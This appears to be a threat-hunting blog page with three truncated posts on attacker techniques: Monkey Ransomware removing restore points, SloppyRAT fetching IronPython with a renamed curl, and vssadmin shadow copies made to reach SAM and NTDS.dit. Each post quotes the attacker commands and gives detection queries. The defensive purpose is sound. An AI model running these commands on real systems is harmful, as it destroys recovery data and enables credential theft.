Know Your Adversary

Hello everyone! Ransomware doesn’t always involve particularly interesting techniques, but there are exceptions. Today, we’ll look at a noteworthy example of Inhibit System Recovery (T1490) . Let’s take a closer look at Monkey Ransomware and how it attempts to prevent a compromised system from being recovered. In addition to more common techniques, such as deleting shadow copies and the local Windows Backup catalog, the malware also disables System Restore and removes existing restore points: powershell.exe -Command "Disable-ComputerRestore -Drive C:\" powershell.exe -Command "Get-ComputerRestorePoint | Remove-ComputerRestorePoint -RestorePointType All" These actions are often performed immediately before or alongside the encryption process. However, attackers may also use scripts to disable recovery mechanisms before deploying the ransomware. This creates an interesting detection opportunity: if we can catch these commands before the ransomware is deployed, we may...

Hello everyone! As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006) . To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python. First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip In this case, we can hunt for suspicious IronPython downloads performed with cURL: event_type: "processcreatewin" AND proc_file_originalfilename: "curl.exe" AND cmdline: *ironpython* The attackers then used the downloaded interpreter to deliver CastleLoader, followed ...

Hello everyone! Today, let’s take a look at Direct Volume Access (T1006) - a technique threat actors can use to bypass normal access controls and gain access to files they’re interested in, including those containing credentials. For example, attackers can access Volume Shadow Copies to get around file locks and access protected data. In this case, the threat actors made multiple attempts to dump the Security Account Manager (SAM) and access the NTDS.dit database. They then used vssadmin to create shadow copies of the C:\ and F:\ drives: vssadmin create shadow /for=C: vssadmin create shadow /for=F: While this activity can certainly be legitimate - for example, as part of backup or system administration tasks - the execution of these commands can also be a sign that an attacker is attempting to access files containing sensitive information. This makes activity like this worth hunting for proactively: event_type: "processcreatewin" AND proc_file_path: "vssadmin.exe...